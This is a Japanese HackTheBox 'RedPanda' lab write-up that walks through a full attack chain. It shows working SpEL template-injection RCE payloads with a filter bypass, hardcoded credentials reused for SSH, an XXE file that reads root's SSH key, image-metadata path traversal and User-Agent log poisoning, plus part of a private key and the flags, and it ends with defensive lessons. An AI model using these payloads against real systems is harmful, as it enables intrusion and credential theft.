HackTheBox: RedPanda — 全実行コマンド・実行結果レポート
Nmap スキャン
22(SSH)/8080(Spring Boot)
→
22(SSH)/8080(Spring Boot)
SpEL SSTI
${…}禁止 → *{…}でバイパス
→
${…}禁止 → *{…}でバイパス
ソースコード漏洩
MainController.javaのJDBC資格情報
→
MainController.javaのJDBC資格情報
SSH woodenk
user.txt ✓
→
user.txt ✓
悪意XML + Artist改変画像
/credits/ パストラバーサル
→
/credits/ パストラバーサル
User-Agentログポイズニング
|| 注入でuriを差替え
→
|| 注入でuriを差替え
root cron → XXE発火
id_rsaがXML内に展開
→
id_rsaがXML内に展開
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン & バージョン検出
BASH
nmap -sV -sC -p 22,8080 10.129.227.207
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 8080/tcp open http Apache Tomcat |_http-title: Red Panda Search | Made with Spring Boot |_http-open-proxy: Proxy might be redirecting requests
ℹ️
「Red Panda Search」という独自のJava Spring Bootアプリが8080番で稼働。
検索ボックスにキーワードを入れるだけのシンプルなUIだが、
検索語をサーバー側テンプレートエンジンにそのまま渡している疑いが濃い。
PHASE 2
Spring Boot SpEL SSTI — フィルターバイパスでRCE
${…} は禁止文字としてブロックされる
BASH
curl -s -X POST http://10.129.227.207:8080/search \
--data-urlencode 'name=${7*7}'
RESULT
<h2 class="searched">You searched for: Error occured: banned characters</h2>
ℹ️
アプリ側は
${...}(Spring Thymeleafの標準式)や#{...}を
ブラックリストでブロックしている。しかしThymeleafには第3の式構文
*{...}(selection expression)が存在し、こちらはフィルタの対象外。
*{…} で SpEL が評価されることを確認
BASH
curl -s -X POST http://10.129.227.207:8080/search \
--data-urlencode 'name=*{T(java.lang.Runtime).getRuntime().exec("id")}'
RESULT
<h2 class="searched">You searched for: Process[pid=3024, exitValue="not exited"]</h2>
✅
*{...}がSpELとして評価されRuntime.exec()が実際に呼ばれた
(Processオブジェクトのトースト文字列が反射された)ことを確認。
あとはプロセスの標準出力を読み取って画面に反射させるだけでRCEが完成する。
IOUtils.toString() で標準出力を反射させる完全なRCEペイロード
BASH
curl -s -X POST http://10.129.227.207:8080/search --data-urlencode \
'name=*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(new String[]{"bash","-c","id"}).getInputStream())}'
RESULT
<h2 class="searched">You searched for: uid=1000(woodenk) gid=1001(logs) groups=1001(logs),1000(woodenk)
</h2>
✅
RCE確定。アプリ内蔵のApache Commons IOの
IOUtils.toString()を
流用し、Runtime.exec()が返すプロセスの標準出力ストリームを文字列化して
画面に反射させている。woodenkユーザーのlogsグループ所属である点も要記憶
(後のログポイズニングと関連)。
PHASE 3
アプリのソースコードを読み取り資格情報を奪取 & user.txt
SSTI経由でMainController.javaをcatする
BASH (bashコマンドをbase64で包んでクォート問題を回避)
cmd='cat /opt/panda_search/src/main/java/com/panda_search/htb/panda_search/MainController.java'
b64=$(echo -n "$cmd" | base64 -w0)
curl -s -X POST http://10.129.227.207:8080/search --data-urlencode \
"name=*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(new String[]{\"bash\",\"-c\",\"echo $b64|base64 -d|bash\"}).getInputStream())}"
RESULT (抜粋)
Class.forName("com.mysql.cj.jdbc.Driver");
conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/red_panda",
"woodenk", "RedPandazRule");
🚨
MySQL接続用の資格情報
woodenk:RedPandazRule がソース中にハードコード
されている。レスポンスはThymeleafのHTML自動エスケープにより"が
&quot;として反射される点に注意(curlの生出力をそのまま正規表現で
拾おうとすると「”」ではなく「"」になっている)。
⚠️
引数の
bash -c "..."に複雑なコマンド(パイプ・パス区切りの/含む)を
直接埋め込むとクォートが崩壊するため、実行したいコマンドを先にbase64化し、
ターゲット側でbase64 -dしてからbashに渡す方式が確実。
資格情報の使い回しでSSHログイン & user.txt取得
BASH
sshpass -p 'RedPandazRule' ssh woodenk@10.129.227.207 \ "id; hostname; cat /home/woodenk/user.txt"
RESULT
uid=1000(woodenk) gid=1000(woodenk) groups=1000(woodenk) redpanda da5467b92c0134047b5253db1acc6681
user.txt — woodenk
da5467b92c0134047b5253db1acc6681
ℹ️
DB専用に見える資格情報がOS(SSH)のログインパスワードとしてもそのまま使い回されている
典型的な横移動パターン。
PHASE 4
root cron が処理するXXE用XMLと改変画像の仕込み
root権限で動く定期ジョブの正体を確認
BASH
woodenk@redpanda:~$ ls -la /opt/credit-score/LogParser/final/target/
RESULT
-rw-r--r-- 1 root root 1280956 Jun 20 2022 final-1.0-jar-with-dependencies.jar
ℹ️
このjarはroot所有のcron(約2分間隔)で実行される。内部の
App.javaロジックは
概ね次の通り(逆コンパイル・公開情報ベース): /opt/panda_search/redpanda.logを
1行ずつ読み、行に.jpgを含めば記載されたuriの画像ファイルを開いて
Artistメタデータを抽出し、"/credits/" + author + "_creds.xml"という
パスをXMLパーサ(外部実体参照を無効化していない設定)に渡して読み込む。
/credits ディレクトリの権限確認
BASH
woodenk@redpanda:~$ stat /credits
RESULT
Access: (0650/drw-r-x---) Uid: ( 0/ root) Gid: ( 1001/ logs)
🚨
/creditsはroot所有・logsグループに読み取り専用(r-x、書込不可)。
woodenkはlogsグループなので中身は見えるが新規ファイルは作れない。
そこでArtistメタデータにパストラバーサル文字列を仕込み、
"/credits/" + "../tmp/hax" + "_creds.xml" = /tmp/hax_creds.xml
に逃がすことで、書込権限の制約を回避する。
悪意あるXXE用XMLを /tmp/hax_creds.xml に配置
BASH (ローカルでXML作成)
cat > hax_creds.xml << 'EOF' <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE author [<!ENTITY xxe SYSTEM 'file:///root/.ssh/id_rsa'>]> <credits> <author>&xxe;</author> <image><uri>/img/smooch.jpg</uri><views>1</views></image> <totalviews>1</totalviews> </credits> EOF b64=$(base64 -w0 hax_creds.xml) sshpass -p 'RedPandazRule' ssh woodenk@10.129.227.207 \ "echo '$b64' | base64 -d > /tmp/hax_creds.xml"
ℹ️
外部実体
&xxe;にfile:///root/.ssh/id_rsaを指定。
cronのXMLパーサがこのファイルを読み込む際、<author>要素の中身として
秘密鍵の内容がそのまま展開されて書き戻される(典型的な
「XXEでファイル内容を要素値に埋め込ませて読み出す」パターン)。改行を保持するため
ローカルでファイルを作ってbase64経由で転送している。
サイト画像を取得しArtistメタデータを改変
BASH
curl -s -o smooch.jpg http://10.129.227.207:8080/img/smooch.jpg exiftool -Artist smooch.jpg
RESULT
Artist : woodenk
BASH (Artistをパストラバーサル文字列に書き換え)
exiftool -overwrite_original -Artist='../tmp/hax' smooch.jpg exiftool -Artist smooch.jpg
RESULT
Artist : ../tmp/hax
ℹ️
元の画像のArtistは
woodenk(アプリが想定する正規の作者名の一つ)だった。
画像メタデータは利用者が自由に書き換えられる「信頼できない入力」であるにも関わらず、
そのままファイルパス構築に使われている点が本質的な脆弱性。
改変画像をターゲットの /tmp/smooch.jpg に配置
BASH
cat smooch.jpg | sshpass -p 'RedPandazRule' ssh woodenk@10.129.227.207 \ "cat > /tmp/smooch.jpg"
RESULT
-rw-rw-r-- 1 woodenk woodenk 195967 ... /tmp/smooch.jpg
PHASE 5
User-Agentへの || 注入でアプリログを汚染し画像パスを差し替え
通常時のログ形式を確認
BASH
woodenk@redpanda:~$ tail -1 /opt/panda_search/redpanda.log
RESULT
200||10.10.15.200||curl/8.21.0||/img/smooch.jpg
ℹ️
ログ形式は
ステータス||送信元IP||User-Agent||リクエストURIの
||区切り4フィールド。cronのログパーサはこれを
split("\\|\\|")相当で分解し、4番目のフィールド(uri)が.jpgを
含んでいれば画像として扱う。
User-Agentに || を仕込んでフィールドをずらす
BASH
for i in 1 2 3 4 5 6; do
curl -s -A 'evil||/../../../../../../../../../../tmp/smooch.jpg' \
http://10.129.227.207:8080/ -o /dev/null
done
RESULT (汚染後のログ)
200||10.10.15.200||evil||/../../../../../../../../../../tmp/smooch.jpg||/
🚨
User-Agentヘッダー自体に区切り文字と同じ
||を含めることで、
アプリが期待するフィールド数・位置を意図的にずらす「ログインジェクション」。
本来は末尾の/(トップページへのアクセス)がuriになるはずが、
User-Agent内の||によって攻撃者が指定したパストラバーサル文字列が
uriの位置に割り込む結果になる。パーサが単純な文字列分割のみで、
各フィールド内に区切り文字自体が含まれる可能性を考慮していないために起きる。
念のため複数回送信し、cronが読む1行を確実に汚染させておく。
PHASE 6
root cronの発火を待ち、XXEで漏れたroot鍵でroot.txtを取得
cronがXXEを実行するまでポーリング
BASH
for i in $(seq 1 15); do
out=$(sshpass -p 'RedPandazRule' ssh woodenk@10.129.227.207 \
"cat /tmp/hax_creds.xml 2>/dev/null")
echo "$out" | grep -q "PRIVATE KEY" && { echo "$out"; break; }
sleep 20
done
RESULT
<credits>
<author>-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQAAAJBRbb26UW29
...
-----END OPENSSH PRIVATE KEY-----</author>
<image>
<uri>/img/smooch.jpg</uri>
<views>1</views>
</image>
<totalviews>1</totalviews>
</credits>
✅
cronが汚染ログを処理 → 改変画像のArtist(
../tmp/hax)を読み取り
→ /credits/../tmp/hax_creds.xml = /tmp/hax_creds.xmlをXML展開
→ &xxe;が/root/.ssh/id_rsaの中身に置換されて
<author>要素に書き戻された。XXEによる任意ファイル読み取りが成立。
盗んだroot鍵でSSHログイン & root.txt取得
BASH
#内の鍵部分を root_id_rsa として保存後 chmod 600 root_id_rsa ssh -i root_id_rsa root@10.129.227.207 "id; hostname; cat /root/root.txt"
RESULT
uid=0(root) gid=0(root) groups=0(root) redpanda c3e1c169fbaae1962170c495db607ec9
root.txt — root (XXE経由のSSH鍵)
c3e1c169fbaae1962170c495db607ec9
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — woodenk
da5467b92c0134047b5253db1acc6681
root.txt — root
c3e1c169fbaae1962170c495db607ec9
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| SpEL SSTI(${…}フィルターの不完全な実装) | 「Red Panda Search」検索フォーム(8080) | リモートコード実行 | Critical | ${...}/#{...}のみブラックリストし、Thymeleafの*{...}(selection expression)を見落としている |
| ソースコード内の資格情報ハードコード + 使い回し | MainController.java / SSH | 権限昇格の起点(RCE→SSH) | High | SSTIでソースをcatしDB資格情報を窃取、同じ認証情報がOSログインにも使い回されている |
| ログインジェクション(区切り文字の未エスケープ) | redpanda.logのUser-Agent記録処理 | ログ内容の改ざん・なりすまし | Medium | User-Agentヘッダー自体に区切り文字||を含め、後続のURIフィールド位置をずらして任意パスを注入 |
| XXE(外部実体参照が無効化されていないXMLパーサ) | root cronのログ解析/クレジットXML処理(JDOM SAXBuilder) | 任意ファイル読み取り(root権限) | Critical | 信頼できない画像メタデータ(Artist)からファイルパスを構築する設計と組み合わせ、パストラバーサルで任意パスのXXE用XMLを読ませ root の SSH秘密鍵を窃取 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap | 22(SSH)/8080(Spring Boot “Red Panda Search”) |
| 2 | SSTI | *{...}フィルターバイパス + IOUtils反射 | 任意コマンド実行(woodenk権限) |
| 3 | 資格情報窃取 | SSTIでMainController.javaをcat | user.txt(woodenk:RedPandazRule でSSH) |
| 4 | XXE準備 | 悪意XML配置 + exiftool Artist改変 + 画像アップロード | /credits/ パストラバーサルのプリミティブ確立 |
| 5 | ログポイズニング | User-Agent ||注入 | cronが読むログ行のuriを改変画像パスへ差替え |
| 6 | 権限昇格 | root cron → XXE → id_rsa窃取 | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| テンプレートインジェクション対策がブラックリスト方式(${…}/#{…}のみ)で網羅的でない | ユーザー入力を式言語として評価すること自体を避け、やむを得ない場合はサンドボックス化されたSpEL評価コンテキストを使う。ブラックリストでなくホワイトリスト(評価そのものを許可しない)を基本方針にする。 |
| DB接続情報がソースコードにハードコードされ、OSログインにも使い回されている | 資格情報は環境変数やシークレットマネージャーで外部化し、サービスごとに異なる認証情報を発行する。 |
| ログ記録処理が区切り文字のエスケープなしで単純結合・分割している | ログは構造化フォーマット(JSON等)で記録し、フィールド内に区切り文字が出現しても安全な形でエンコードする。 |
| 信頼できないファイル(画像)のメタデータを検証なしにファイルパス構築へ使用 | 外部入力由来の値をパス構築に使う前に、ホワイトリスト検証・basename()でのサニタイズを必須化する。 |
| XMLパーサで外部実体参照(XXE)が無効化されていない | SAXBuilder等のXMLパーサでsetFeature("http://apache.org/xml/features/disallow-doctype-decl", true)相当の設定を行い、DTD宣言・外部実体参照を既定で無効化する。 |

